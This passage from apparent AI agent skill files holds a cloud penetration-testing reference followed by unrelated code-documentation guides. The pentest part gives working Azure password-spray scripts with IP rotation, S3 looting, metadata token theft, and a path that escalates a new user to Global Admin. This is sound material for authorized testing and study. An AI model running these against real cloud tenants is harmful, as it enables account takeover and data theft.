list` |\n| IAM policy | `gcloud projects get-iam-policy <project>` |\n| Metadata | `curl -H \"Metadata-Flavor: Google\" http://metadata.google.internal/...` |\n\n### Metadata Service URLs\n\n| Provider | URL |\n|----------|-----|\n| AWS | `http://169.254.169.254/latest/meta-data/` |\n| Azure | `http://169.254.169.254/metadata/instance?api-version=2018-02-01` |\n| GCP | `http://metadata.google.internal/computeMetadata/v1/` |\n\n### Useful Tools\n\n| Tool | Purpose |\n|------|---------|\n| ScoutSuite | Multi-cloud security auditing |\n| Pacu | AWS exploitation framework |\n| AzureHound | Azure AD attack path mapping |\n| ROADTools | Azure AD enumeration |\n| WeirdAAL | AWS service enumeration |\n| MicroBurst | Azure security assessment |\n| PowerZure | Azure post-exploitation |\n\n## Constraints and Limitations\n\n### Legal Requirements\n- Only test with explicit written authorization\n- Respect scope boundaries between cloud accounts\n- Do not access production customer data\n- Document all testing activities\n\n### Technical Limitations\n- MFA may prevent credential-based attacks\n- Conditional Access policies may restrict access\n- CloudTrail/Activity Logs record all API calls\n- Some resources require specific regional access\n\n### Detection Considerations\n- Cloud providers log all API activity\n- Unusual access patterns trigger alerts\n- Use slow, deliberate enumeration\n- Consider GuardDuty, Security Center, Cloud Armor\n\n## Examples\n\n### Example 1: Azure Password Spray\n\n**Scenario:** Test Azure AD password policy\n\n```powershell\n# Using MSOLSpray with FireProx for IP rotation\n# First create FireProx endpoint\npython fire.py --access_key <key> --secret_access_key <secret> --region us-east-1 --url https://login.microsoft.com --command create\n\n# Spray passwords\nImport-Module .\\MSOLSpray.ps1\nInvoke-MSOLSpray -UserList .\\users.txt -Password \"Spring2024!\" -URL https://<api-gateway>.execute-api.us-east-1.amazonaws.com/fireprox\n```\n\n### Example 2: AWS S3 Bucket Enumeration\n\n**Scenario:** Find and access misconfigured S3 buckets\n\n```bash\n# List all buckets\naws s3 ls | awk '{print $3}' > buckets.txt\n\n# Check each bucket for contents\nwhile read bucket; do\n    echo \"Checking: $bucket\"\n    aws s3 ls s3://$bucket 2>/dev/null\ndone < buckets.txt\n\n# Download interesting bucket\naws s3 sync s3://misconfigured-bucket ./loot/\n```\n\n### Example 3: GCP Service Account Compromise\n\n**Scenario:** Pivot using compromised service account\n\n```bash\n# Authenticate with service account key\ngcloud auth activate-service-account --key-file compromised-sa.json\n\n# List accessible projects\ngcloud projects list\n\n# Enumerate compute instances\ngcloud compute instances list --project target-project\n\n# Check for SSH keys in metadata\ngcloud compute project-info describe --project target-project | grep ssh\n\n# SSH to instance\ngcloud beta compute ssh instance-name --zone us-central1-a --project target-project\n```\n\n## Troubleshooting\n\n| Issue | Solutions |\n|-------|-----------|\n| Authentication failures | Verify credentials; check MFA; ensure correct tenant/project; try alternative auth methods |\n| Permission denied | List current roles; try different resources; check resource policies; verify region |\n| Metadata service blocked | Check IMDSv2 (AWS); verify instance role; check firewall for 169.254.169.254 |\n| Rate limiting | Add delays; spread across regions; use multiple credentials; focus on high-value targets |\n\n## References\n\n- [Advanced Cloud Scripts](references/advanced-cloud-scripts.md) - Azure Automation runbooks, Function Apps enumeration, AWS data exfiltration, GCP advanced exploitation\n","skills/cloud-penetration-testing/references/advanced-cloud-scripts.md":"# Advanced Cloud Pentesting Scripts\r\n\r\nReference: [Cloud Pentesting Cheatsheet by Beau Bullock](https://github.com/dafthack/CloudPentestCheatsheets)\r\n\r\n## Azure Automation Runbooks\r\n\r\n### Export All Runbooks from All Subscriptions\r\n\r\n```powershell\r\n$subs = Get-AzSubscription\r\nForeach($s in $subs){\r\n    $subscriptionid = $s.SubscriptionId\r\n    mkdir .\\$subscriptionid\\\r\n    Select-AzSubscription -Subscription $subscriptionid\r\n    $runbooks = @()\r\n    $autoaccounts = Get-AzAutomationAccount | Select-Object AutomationAccountName,ResourceGroupName\r\n    foreach ($i in $autoaccounts){\r\n        $runbooks += Get-AzAutomationRunbook -AutomationAccountName $i.AutomationAccountName -ResourceGroupName $i.ResourceGroupName | Select-Object AutomationAccountName,ResourceGroupName,Name\r\n    }\r\n    foreach($r in $runbooks){\r\n        Export-AzAutomationRunbook -AutomationAccountName $r.AutomationAccountName -ResourceGroupName $r.ResourceGroupName -Name $r.Name -OutputFolder .\\$subscriptionid\\\r\n    }\r\n}\r\n```\r\n\r\n### Export All Automation Job Outputs\r\n\r\n```powershell\r\n$subs = Get-AzSubscription\r\n$jobout = @()\r\nForeach($s in $subs){\r\n    $subscriptionid = $s.SubscriptionId\r\n    Select-AzSubscription -Subscription $subscriptionid\r\n    $jobs = @()\r\n    $autoaccounts = Get-AzAutomationAccount | Select-Object AutomationAccountName,ResourceGroupName\r\n    foreach ($i in $autoaccounts){\r\n        $jobs += Get-AzAutomationJob $i.AutomationAccountName -ResourceGroupName $i.ResourceGroupName | Select-Object AutomationAccountName,ResourceGroupName,JobId\r\n    }\r\n    foreach($r in $jobs){\r\n        $jobout += Get-AzAutomationJobOutput -AutomationAccountName $r.AutomationAccountName -ResourceGroupName $r.ResourceGroupName -JobId $r.JobId\r\n    }\r\n}\r\n$jobout | Out-File -Encoding ascii joboutputs.txt\r\n```\r\n\r\n## Azure Function Apps\r\n\r\n### List All Function App Hostnames\r\n\r\n```powershell\r\n$functionapps = Get-AzFunctionApp\r\nforeach($f in $functionapps){\r\n    $f.EnabledHostname\r\n}\r\n```\r\n\r\n### Extract Function App Information\r\n\r\n```powershell\r\n$subs = Get-AzSubscription\r\n$allfunctioninfo = @()\r\nForeach($s in $subs){\r\n    $subscriptionid = $s.SubscriptionId\r\n    Select-AzSubscription -Subscription $subscriptionid\r\n    $functionapps = Get-AzFunctionApp\r\n    foreach($f in $functionapps){\r\n        $allfunctioninfo += $f.config | Select-Object AcrUseManagedIdentityCred,AcrUserManagedIdentityId,AppCommandLine,ConnectionString,CorSupportCredentials,CustomActionParameter\r\n        $allfunctioninfo += $f.SiteConfig | fl\r\n        $allfunctioninfo += $f.ApplicationSettings | fl\r\n        $allfunctioninfo += $f.IdentityUserAssignedIdentity.Keys | fl\r\n    }\r\n}\r\n$allfunctioninfo\r\n```\r\n\r\n## Azure Device Code Login Flow\r\n\r\n### Initiate Device Code Login\r\n\r\n```powershell\r\n$body = @{\r\n    \"client_id\" = \"1950a258-227b-4e31-a9cf-717495945fc2\"\r\n    \"resource\"  = \"https://graph.microsoft.com\"\r\n}\r\n$UserAgent = \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36\"\r\n$Headers = @{}\r\n$Headers[\"User-Agent\"] = $UserAgent\r\n$authResponse = Invoke-RestMethod `\r\n    -UseBasicParsing `\r\n    -Method Post `\r\n    -Uri \"https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0\" `\r\n    -Headers $Headers `\r\n    -Body $body\r\n$authResponse\r\n```\r\n\r\nNavigate to https://microsoft.com/devicelogin and enter the code.\r\n\r\n### Retrieve Access Tokens\r\n\r\n```powershell\r\n$body = @{\r\n    \"client_id\"  = \"1950a258-227b-4e31-a9cf-717495945fc2\"\r\n    \"grant_type\" = \"urn:ietf:params:oauth:grant-type:device_code\"\r\n    \"code\"       = $authResponse.device_code\r\n}\r\n$Tokens = Invoke-RestMethod `\r\n    -UseBasicParsing `\r\n    -Method Post `\r\n    -Uri \"https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0\" `\r\n    -Headers $Headers `\r\n    -Body $body\r\n$Tokens\r\n```\r\n\r\n## Azure Managed Identity Token Retrieval\r\n\r\n```powershell\r\n# From Azure VM\r\nInvoke-WebRequest -Uri 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com' -Method GET -Headers @{Metadata=\"true\"} -UseBasicParsing\r\n\r\n# Full instance metadata\r\n$instance = Invoke-WebRequest -Uri 'http://169.254.169.254/metadata/instance?api-version=2018-02-01' -Method GET -Headers @{Metadata=\"true\"} -UseBasicParsing\r\n$instance\r\n```\r\n\r\n## AWS Region Iteration Scripts\r\n\r\nCreate `regions.txt`:\r\n```\r\nus-east-1\r\nus-east-2\r\nus-west-1\r\nus-west-2\r\nca-central-1\r\neu-west-1\r\neu-west-2\r\neu-west-3\r\neu-central-1\r\neu-north-1\r\nap-southeast-1\r\nap-southeast-2\r\nap-south-1\r\nap-northeast-1\r\nap-northeast-2\r\nap-northeast-3\r\nsa-east-1\r\n```\r\n\r\n### List All EC2 Public IPs\r\n\r\n```bash\r\nwhile read r; do\r\n    aws ec2 describe-instances --query=Reservations[].Instances[].PublicIpAddress --region $r | jq -r '.[]' >> ec2-public-ips.txt\r\ndone < regions.txt\r\nsort -u ec2-public-ips.txt -o ec2-public-ips.txt\r\n```\r\n\r\n### List All ELB DNS Addresses\r\n\r\n```bash\r\nwhile read r; do\r\n    aws elbv2 describe-load-balancers --query LoadBalancers[*].DNSName --region $r | jq -r '.[]' >> elb-public-dns.txt\r\n    aws elb describe-load-balancers --query LoadBalancerDescriptions[*].DNSName --region $r | jq -r '.[]' >> elb-public-dns.txt\r\ndone < regions.txt\r\nsort -u elb-public-dns.txt -o elb-public-dns.txt\r\n```\r\n\r\n### List All RDS DNS Addresses\r\n\r\n```bash\r\nwhile read r; do\r\n    aws rds describe-db-instances --query=DBInstances[*].Endpoint.Address --region $r | jq -r '.[]' >> rds-public-dns.txt\r\ndone < regions.txt\r\nsort -u rds-public-dns.txt -o rds-public-dns.txt\r\n```\r\n\r\n### Get CloudFormation Outputs\r\n\r\n```bash\r\nwhile read r; do\r\n    aws cloudformation describe-stacks --query 'Stacks[*].[StackName, Description, Parameters, Outputs]' --region $r | jq -r '.[]' >> cloudformation-outputs.txt\r\ndone < regions.txt\r\n```\r\n\r\n## ScoutSuite jq Parsing Queries\r\n\r\n### AWS Queries\r\n\r\n```bash\r\n# Find All Lambda Environment Variables\r\nfor d in */ ; do\r\n    tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.services.awslambda.regions[].functions[] | select (.env_variables != []) | .arn, .env_variables' >> lambda-all-environment-variables.txt\r\ndone\r\n\r\n# Find World Listable S3 Buckets\r\nfor d in */ ; do\r\n    tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.account_id, .services.s3.findings.\"s3-bucket-AuthenticatedUsers-read\".items[]' >> s3-buckets-world-listable.txt\r\ndone\r\n\r\n# Find All EC2 User Data\r\nfor d in */ ; do\r\n    tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.services.ec2.regions[].vpcs[].instances[] | select (.user_data != null) | .arn, .user_data' >> ec2-instance-all-user-data.txt\r\ndone\r\n\r\n# Find EC2 Security Groups That Whitelist AWS CIDRs\r\nfor d in */ ; do\r\n    tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.account_id' >> ec2-security-group-whitelists-aws-cidrs.txt\r\n    tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.services.ec2.findings.\"ec2-security-group-whitelists-aws\".items' >> ec2-security-group-whitelists-aws-cidrs.txt\r\ndone\r\n\r\n# Find All EC2 EBS Volumes Unencrypted\r\nfor d in */ ; do\r\n    tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.services.ec2.regions[].volumes[] | select(.Encrypted == false) | .arn' >> ec2-ebs-volume-not-encrypted.txt\r\ndone\r\n\r\n# Find All EC2 EBS Snapshots Unencrypted\r\nfor d in */ ; do\r\n    tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.services.ec2.regions[].snapshots[] | select(.encrypted == false) | .arn' >> ec2-ebs-snapshot-not-encrypted.txt\r\ndone\r\n```\r\n\r\n### Azure Queries\r\n\r\n```bash\r\n# List All Azure App Service Host Names\r\ntail scoutsuite_results_azure-tenant-*.js -n +2 | jq -r '.services.appservice.subscriptions[].web_apps[].host_names[]'\r\n\r\n# List All Azure SQL Servers\r\ntail scoutsuite_results_azure-tenant-*.js -n +2 | jq -jr '.services.sqldatabase.subscriptions[].servers[] | .name,\".database.windows.net\",\"\\n\"'\r\n\r\n# List All Azure Virtual Machine Hostnames\r\ntail scoutsuite_results_azure-tenant-*.js -n +2 | jq -jr '.services.virtualmachines.subscriptions[].instances[] | .name,\".\",.location,\".cloudapp.windows.net\",\"\\n\"'\r\n\r\n# List Storage Accounts\r\ntail scoutsuite_results_azure-tenant-*.js -n +2 | jq -r '.services.storageaccounts.subscriptions[].storage_accounts[] | .name'\r\n\r\n# List Disks Encrypted with Platform Managed Keys\r\ntail scoutsuite_results_azure-tenant-*.js -n +2 | jq '.services.virtualmachines.subscriptions[].disks[] | select(.encryption_type = \"EncryptionAtRestWithPlatformKey\") | .name' > disks-with-pmks.txt\r\n```\r\n\r\n## Password Spraying with Az PowerShell\r\n\r\n```powershell\r\n$userlist = Get-Content userlist.txt\r\n$passlist = Get-Content passlist.txt\r\n$linenumber = 0\r\n$count = $userlist.count\r\nforeach($line in $userlist){\r\n    $user = $line\r\n    $pass = ConvertTo-SecureString $passlist[$linenumber] -AsPlainText -Force\r\n    $current = $linenumber + 1\r\n    Write-Host -NoNewline (\"`r[\" + $current + \"/\" + $count + \"]\" + \"Trying: \" + $user + \" and \" + $passlist[$linenumber])\r\n    $linenumber++\r\n    $Cred = New-Object System.Management.Automation.PSCredential ($user, $pass)\r\n    try {\r\n        Connect-AzAccount -Credential $Cred -ErrorAction Stop -WarningAction SilentlyContinue\r\n        Add-Content valid-creds.txt ($user + \"|\" + $passlist[$linenumber - 1])\r\n        Write-Host -ForegroundColor green (\"`nGot something here: $user and \" + $passlist[$linenumber - 1])\r\n    }\r\n    catch {\r\n        $Failure = $_.Exception\r\n        if ($Failure -match \"ID3242\") { continue }\r\n        else {\r\n            Write-Host -ForegroundColor green (\"`nGot something here: $user and \" + $passlist[$linenumber - 1])\r\n            Add-Content valid-creds.txt ($user + \"|\" + $passlist[$linenumber - 1])\r\n            Add-Content valid-creds.txt $Failure.Message\r\n            Write-Host -ForegroundColor red $Failure.Message\r\n        }\r\n    }\r\n}\r\n```\r\n\r\n## Service Principal Attack Path\r\n\r\n```bash\r\n# Reset service principal credential\r\naz ad sp credential reset --id <app_id>\r\naz ad sp credential list --id <app_id>\r\n\r\n# Login as service principal\r\naz login --service-principal -u \"app id\" -p \"password\" --tenant <tenant ID> --allow-no-subscriptions\r\n\r\n# Create new user in tenant\r\naz ad user create --display-name <name> --password <password> --user-principal-name <upn>\r\n\r\n# Add user to Global Admin via MS Graph\r\n$Body=\"{'principalId':'User Object ID', 'roleDefinitionId': '62e90394-69f5-4237-9190-012177145e10', 'directoryScopeId': '/'}\"\r\naz rest --method POST --uri https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments --headers \"Content-Type=application/json\" --body $Body\r\n```\r\n\r\n## Additional Tools Reference\r\n\r\n| Tool | URL | Purpose |\r\n|------|-----|---------|\r\n| MicroBurst | github.com/NetSPI/MicroBurst | Azure security assessment |\r\n| PowerZure | github.com/hausec/PowerZure | Azure post-exploitation |\r\n| ROADTools | github.com/dirkjanm/ROADtools | Azure AD enumeration |\r\n| Stormspotter | github.com/Azure/Stormspotter | Azure attack path graphing |\r\n| MSOLSpray | github.com/dafthack | O365 password spraying |\r\n| AzureHound | github.com/BloodHoundAD/AzureHound | Azure AD attack paths |\r\n| WeirdAAL | github.com/carnal0wnage/weirdAAL | AWS enumeration |\r\n| Pacu | github.com/RhinoSecurityLabs/pacu | AWS exploitation |\r\n| ScoutSuite | github.com/nccgroup/ScoutSuite | Multi-cloud auditing |\r\n| cloud_enum | github.com/initstring/cloud_enum | Public resource discovery |\r\n| GitLeaks | github.com/zricethezav/gitleaks | Secret scanning |\r\n| TruffleHog | github.com/dxa4481/truffleHog | Git secret scanning |\r\n| ip2Provider | github.com/oldrho/ip2provider | Cloud IP identification |\r\n| FireProx | github.com/ustayready/fireprox | IP rotation via AWS API Gateway |\r\n\r\n## Vulnerable Training Environments\r\n\r\n| Platform | URL | Purpose |\r\n|----------|-----|---------|\r\n| CloudGoat | github.com/RhinoSecurityLabs/cloudgoat | AWS vulnerable lab |\r\n| SadCloud | github.com/nccgroup/sadcloud | Terraform misconfigs |\r\n| Flaws Cloud | flaws.cloud | AWS CTF challenges |\r\n| Thunder CTF | thunder-ctf.cloud | GCP CTF challenges |\r\n","skills/code-documenter/SKILL.md":"---\nname: code-documenter\ndescription: Use when adding docstrings, creating API documentation, or building documentation sites. Invoke for OpenAPI/Swagger specs, JSDoc, doc portals, tutorials, user guides.\nlicense: MIT\nmetadata:\n  author: https://github.com/Jeffallan\n  version: \"1.0.0\"\n  domain: quality\n  triggers: documentation, docstrings, OpenAPI, Swagger, JSDoc, comments, API docs, tutorials, user guides, doc site\n  role: specialist\n  scope: implementation\n  output-format: code\n  related-skills: spec-miner, fullstack-guardian, code-reviewer\n---\n\n# Code Documenter\n\nDocumentation specialist for inline documentation, API specs, documentation sites, and developer guides.\n\n## Role Definition\n\nYou are a senior technical writer with 8+ years of experience documenting software. You specialize in language-specific docstring formats, OpenAPI/Swagger specifications, interactive documentation portals, static site generation, and creating comprehensive guides that developers actually use.\n\n## When to Use This Skill\n\n- Adding docstrings to functions and classes\n- Creating OpenAPI/Swagger documentation\n- Building documentation sites (Docusaurus, MkDocs, VitePress)\n- Documenting APIs with framework-specific patterns\n- Creating interactive API portals (Swagger UI, Redoc, Stoplight)\n- Writing getting started guides and tutorials\n- Documenting multi-protocol APIs (REST, GraphQL, WebSocket, gRPC)\n- Generating documentation reports and coverage metrics\n\n## Core Workflow\n\n1. **Discover** - Ask for format preference and exclusions\n2. **Detect** - Identify language and framework\n3. **Analyze** - Find undocumented code\n4. **Document** - Apply consistent format\n5. **Report** - Generate coverage summary\n\n## Reference Guide\n\nLoad detailed guidance based on context:\n\n| Topic                   | Reference                               | Load When                                            |\n| ----------------------- | --------------------------------------- | ---------------------------------------------------- |\n| Python Docstrings       | `references/python-docstrings.md`       | Google, NumPy, Sphinx styles                         |\n| TypeScript JSDoc        | `references/typescript-jsdoc.md`        | JSDoc patterns, TypeScript                           |\n| FastAPI/Django API      | `references/api-docs-fastapi-django.md` | Python API documentation                             |\n| NestJS/Express API      | `references/api-docs-nestjs-express.md` | Node.js API documentation                            |\n| Coverage Reports        | `references/coverage-reports.md`        | Generating documentation reports                     |\n| Documentation Systems   | `references/documentation-systems.md`   | Doc sites, static generators, search, testing        |\n| Interactive API Docs    | `references/interactive-api-docs.md`    | OpenAPI 3.1, portals, GraphQL, WebSocket, gRPC, SDKs |\n| User Guides & Tutorials | `references/user-guides-tutorials.md`   | Getting started, tutorials, troubleshooting, FAQs    |\n\n## Constraints\n\n### MUST DO\n\n- Ask for format preference before starting\n- Detect framework for correct API doc strategy\n- Document all public functions/classes\n- Include parameter types and descriptions\n- Document exceptions/errors\n- Test code examples in documentation\n- Generate coverage report\n\n### MUST NOT DO\n\n- Assume docstring format without asking\n- Apply wrong API doc strategy for framework\n- Write inaccurate or untested documentation\n- Skip error documentation\n- Document obvious getters/setters verbosely\n- Create documentation that's hard to maintain\n\n## Output Formats\n\nDepending on the task, provide:\n\n1. **Code Documentation:** Documented files + coverage report\n2. **API Docs:** OpenAPI specs + portal configuration\n3. **Doc Sites:** Site configuration + content structure + build instructions\n4. **Guides/Tutorials:** Structured markdown with examples + diagrams\n\n## Knowledge Reference\n\nGoogle/NumPy/Sphinx docstrings, JSDoc, OpenAPI 3.0/3.1, AsyncAPI, gRPC/protobuf, FastAPI, Django, NestJS, Express, GraphQL, Docusaurus, MkDocs, VitePress, Swagger UI, Redoc, Stoplight\n","skills/code-documenter/references/api-docs-fastapi-django.md":"# API Documentation: FastAPI & Django\n\n## FastAPI (Auto-generates from types)\n\nFastAPI automatically generates OpenAPI documentation from type hints and docstrings.\n\n### Endpoint Documentation\n\n```python\nfrom fastapi import FastAPI, HTTPException, status\nfrom pydantic import BaseModel, Field\n\nclass UserCreate(BaseModel):\n    \"\"\"User creation request body.\"\"\"\n\n    name: str = Field(..., min_length=1, max_length=100, example=\"John Doe\")\n    email: str = Field(..., example=\"john@example.com\")\n\nclass UserResponse(BaseModel):\n    \"\"\"User response with generated ID.\"\"\"\n\n    id: int = Field(..., example=1)\n    name: str\n    email: str\n\n@app.post(\n    \"/users\",\n    response_model=UserResponse,\n    status_code=status.HTTP_201_CREATED,\n    summary=\"Create a new user\",\n    tags=[\"Users\"],\n)\nasync def create_user(user: UserCreate) -> UserResponse:\n    \"\"\"Create a new user account.\n\n    Args:\n        user: User creation data including name and email.\n\n    Returns:\n        Created user with generated ID.\n\n    Raises:\n        HTTPException: 400 if email already exists.\n    \"\"\"\n```\n\n### Router with Tags\n\n```python\nfrom fastapi import APIRouter\n\nrouter = APIRouter(\n    prefix=\"/users\",\n    tags=[\"Users\"],\n    responses={404: {\"description\": \"Not found\"}},\n)\n\n@router.get(\n    \"/{user_id}\",\n    response_model=UserResponse,\n    summary=\"Get user by ID\",\n)\nasync def get_user(user_id: int) -> UserResponse:\n    \"\"\"Retrieve a user by their unique identifier.\"\"\"\n```\n\n## Django REST Framework (drf-spectacular)\n\n### ViewSet Documentation\n\n```python\nfrom rest_framework import viewsets, status\nfrom rest_framework.decorators import action\nfrom drf_spectacular.utils import extend_schema, OpenApiParameter\n\nclass UserViewSet(viewsets.ModelViewSet):\n    \"\"\"\n    ViewSet for managing user accounts.\n\n    list: Get all users with pagination.\n    create: Create a new user account.\n    retrieve: Get a specific user by ID.\n    update: Update all user fields.\n    partial_update: Update specific user fields.\n    destroy: Delete a user account.\n    \"\"\"\n\n    queryset = User.objects.all()\n    serializer_class = UserSerializer\n\n    @extend_schema(\n        summary=\"Get current user\",\n        description=\"Returns the authenticated user's profile\",\n        responses={200: UserSerializer},\n    )\n    @action(detail=False, methods=[\"get\"])\n    def me(self, request):\n        \"\"\"Get the authenticated user's profile.\"\"\"\n        serializer = self.get_serializer(request.user)\n        return Response(serializer.data)\n```\n\n### Serializer Documentation\n\n```python\nfrom rest_framework import serializers\n\nclass UserSerializer(serializers.ModelSerializer):\n    \"\"\"Serializer for user model with validation.\"\"\"\n\n    class Meta:\n        model = User\n        fields = [\"id\", \"name\", \"email\", \"created_at\"]\n        read_only_fields = [\"id\", \"created_at\"]\n\n    name = serializers.CharField(\n        help_text=\"User's display name\",\n        max_length=100,\n    )\n    email = serializers.EmailField(\n        help_text=\"User's email address (unique)\",\n    )\n```\n\n### Custom Schema\n\n```python\nfrom drf_spectacular.utils import extend_schema, OpenApiExample\n\n@extend_schema(\n    request=UserCreateSerializer,\n    responses={\n        201: UserSerializer,\n        400: OpenApiTypes.OBJECT,\n    },\n    examples=[\n        OpenApiExample(\n            \"Valid request\",\n            value={\"name\": \"John\", \"email\": \"john@example.com\"},\n        ),\n    ],\n)\ndef create(self, request):\n    \"\"\"Create a new user.\"\"\"\n```\n\n## Quick Reference\n\n| Framework | Documentation Source          | Output          |\n| --------- | ----------------------------- | --------------- |\n| FastAPI   | Type hints + docstrings       | Auto Swagger UI |\n| DRF       | Serializers + drf-spectacular | Auto Swagger UI |\n\n| FastAPI Decorator | Purpose                    |\n| ----------------- | -------------------------- |\n| `summary`         | Short endpoint description |\n| `description`     | Detailed description       |\n| `tags`            | Group endpoints            |\n| `response_model`  | Response schema            |\n| `responses`       | Additional response codes  |\n\n| DRF Decorator      | Purpose           |\n| ------------------ | ----------------- |\n| `@extend_schema`   | Customize schema  |\n| `OpenApiParameter` | Query/path params |\n| `OpenApiExample`   | Request examples  |\n","skills/code-documenter/references/api-docs-nestjs-express.md":"# API Documentation: NestJS & Express\n\n## NestJS (@nestjs/swagger)\n\nNestJS requires explicit decorators for OpenAPI documentation.\n\n### Controller Documentation\n\n```typescript\nimport { Controller, Post, Body, Get, Param } from \"@nestjs/common\"\nimport { ApiTags, ApiOperation, ApiResponse, ApiParam, ApiBearerAuth } from \"@nestjs/swagger\"\n\n@ApiTags(\"Users\")\n@ApiBearerAuth()\n@Controller(\"users\")\nexport class UsersController {\n  @Post()\n  @ApiOperation({ summary: \"Create a new user\" })\n  @ApiResponse({\n    status: 201,\n    description: \"User created successfully\",\n    type: UserDto,\n  })\n  @ApiResponse({\n    status: 400,\n    description: \"Invalid input data\",\n  })\n  async create(@Body() dto: CreateUserDto): Promise<UserDto> {\n    return this.usersService.create(dto)\n  }\n\n  @Get(\":id\")\n  @ApiOperation({ summary: \"Get user by ID\" })\n  @ApiParam({\n    name: \"id\",\n    description: \"User unique identifier\",\n    example: \"123\",\n  })\n  @ApiResponse({ status: 200, type: UserDto })\n  @ApiResponse({ status: 404, description: \"User not found\" })\n  async findOne(@Param(\"id\") id: string): Promise<UserDto> {\n    return this.usersService.findOne(id)\n  }\n}\n```\n\n### DTO Documentation\n\n```typescript\nimport { ApiProperty, ApiPropertyOptional } from \"@nestjs/swagger\"\nimport { IsEmail, IsString, MinLength } from \"class-validator\"\n\nexport class CreateUserDto {\n  @ApiProperty({\n    description: \"User's display name\",\n    example: \"John Doe\",\n    minLength: 1,\n    maxLength: 100,\n  })\n  @IsString()\n  @MinLength(1)\n  name: string\n\n  @ApiProperty({\n    description: \"User's email address\",\n    example: \"john@example.com\",\n  })\n  @IsEmail()\n  email: string\n\n  @ApiPropertyOptional({\n    description: \"Profile picture URL\",\n    example: \"https://example.com/avatar.jpg\",\n  })\n  avatarUrl?: string\n}\n```\n\n## Express (swagger-jsdoc)\n\nExpress uses JSDoc comments with swagger annotations.\n\n### Setup\n\n```javascript\nconst swaggerJsdoc = require(\"swagger-jsdoc\")\nconst swaggerUi = require(\"swagger-ui-express\")\n\nconst options = {\n  definition: {\n    openapi: \"3.0.0\",\n    info: {\n      title: \"API Documentation\",\n      version: \"1.0.0\",\n    },\n  },\n  apis: [\"./routes/*.js\"],\n}\n\nconst specs = swaggerJsdoc(options)\napp.use(\"/api-docs\", swaggerUi.serve, swaggerUi.setup(specs))\n```\n\n### Route Documentation\n\n```javascript\n/**\n * @swagger\n * /users:\n *   post:\n *     summary: Create a new user\n *     tags: [Users]\n *     requestBody:\n *       required: true\n *       content:\n *         application/json:\n *           schema:\n *             $ref: '#/components/schemas/CreateUser'\n *     responses:\n *       201:\n *         description: User created successfully\n *         content:\n *           application/json:\n *             schema:\n *               $ref: '#/components/schemas/User'\n *       400:\n *         description: Invalid input\n */\nrouter.post(\"/users\", createUser)\n\n/**\n * @swagger\n * /users/{id}:\n *   get:\n *     summary: Get user by ID\n *     tags: [Users]\n *     parameters:\n *       - in: path\n *         name: id\n *         required: true\n *         schema:\n *           type: string\n *         description: User ID\n *     responses:\n *       200:\n *         description: User found\n *         content:\n *           application/json:\n *             schema:\n *               $ref: '#/components/schemas/User'\n *       404:\n *         description: User not found\n */\nrouter.get(\"/users/:id\", getUser)\n```\n\n### Schema Documentation\n\n```javascript\n/**\n * @swagger\n * components:\n *   schemas:\n *     CreateUser:\n *       type: object\n *       required:\n *         - name\n *         - email\n *       properties:\n *         name:\n *           type: string\n *           description: User's display name\n *           example: John Doe\n *         email:\n *           type: string\n *           format: email\n *           description: User's email address\n *           example: john@example.com\n *     User:\n *       allOf:\n *         - $ref: '#/components/schemas/CreateUser'\n *         - type: object\n *           properties:\n *             id:\n *               type: string\n *               description: Unique identifier\n *             createdAt:\n *               type: string\n *               format: date-time\n */\n```\n\n## Quick Reference\n\n| NestJS Decorator   | Purpose                |\n| ------------------ | ---------------------- |\n| `@ApiTags()`       | Group endpoints        |\n| `@ApiOperation()`  | Endpoint summary       |\n| `@ApiResponse()`   | Response documentation |\n| `@ApiParam()`      | Path parameter         |\n| `@ApiQuery()`      | Query parameter        |\n| `@ApiBody()`       | Request body           |\n| `@ApiBearerAuth()` | Auth requirement       |\n| `@ApiProperty()`   | DTO property           |\n\n| Express swagger-jsdoc | Purpose             |\n| --------------------- | ------------------- |\n| `@swagger`            | Start swagger block |\n| `tags`                | Group endpoints     |\n| `summary`             | Short description   |\n| `parameters`          | Path/query params   |\n| `requestBody`         | Request body schema |\n| `responses`           | Response schemas    |\n| `$ref`                | Reference schema    |\n","skills/code-documenter/references/coverage-reports.md":"# Coverage Reports\n\n## Documentation Coverage Report Template\n\n````markdown\n# Documentation Report: {project_name}\n\n## Summary\n\n- **Files analyzed**: 45\n- **Functions documented**: 120/150 (80%)\n- **Classes documented**: 25/25 (100%)\n- **API endpoints documented**: 30/30 (100%)\n\n## Coverage Before/After\n\n- Before: 45%\n- After: 92%\n\n## Files Modified\n\n| File                     | Functions Added | Notes                 |\n| ------------------------ | --------------- | --------------------- |\n| src/services/user.ts     | 8               | All public methods    |\n| src/services/auth.ts     | 5               | Added examples        |\n| src/controllers/users.ts | 6               | Added @Api decorators |\n| src/dto/user.dto.ts      | 4               | Added @ApiProperty    |\n\n## API Documentation\n\n- **Framework**: NestJS\n- **Strategy**: @nestjs/swagger decorators\n- **Swagger UI**: /api/docs\n- **OpenAPI spec**: /api-json\n\n## Documentation Style\n\n- **Python**: Google style docstrings\n- **TypeScript**: JSDoc with @param, @returns\n- **API**: OpenAPI 3.0 via decorators\n\n## Next Steps\n\n### Recommendations\n\n1. Run `npm run docs:lint` to validate JSDoc\n2. Add `eslint-plugin-jsdoc` to enforce documentation\n3. Consider adding examples for complex functions\n4. Set up documentation CI checks\n\n### Missing Documentation\n\n| File                | Missing     | Priority |\n| ------------------- | ----------- | -------- |\n| src/utils/crypto.ts | 3 functions | High     |\n| src/helpers/date.ts | 2 functions | Medium   |\n\n### CI Integration\n\n```yaml\n# Add to CI pipeline\n- name: Check documentation\n  run: npm run docs:check\n\n- name: Generate API docs\n  run: npm run docs:generate\n```\n````\n\n````\n\n## Checklist During Documentation\n\n```markdown\n## Documentation Checklist\n\n### Before Starting\n- [ ] Confirmed format preference (Google/JSDoc/etc.)\n- [ ] Identified files to exclude (tests, generated)\n- 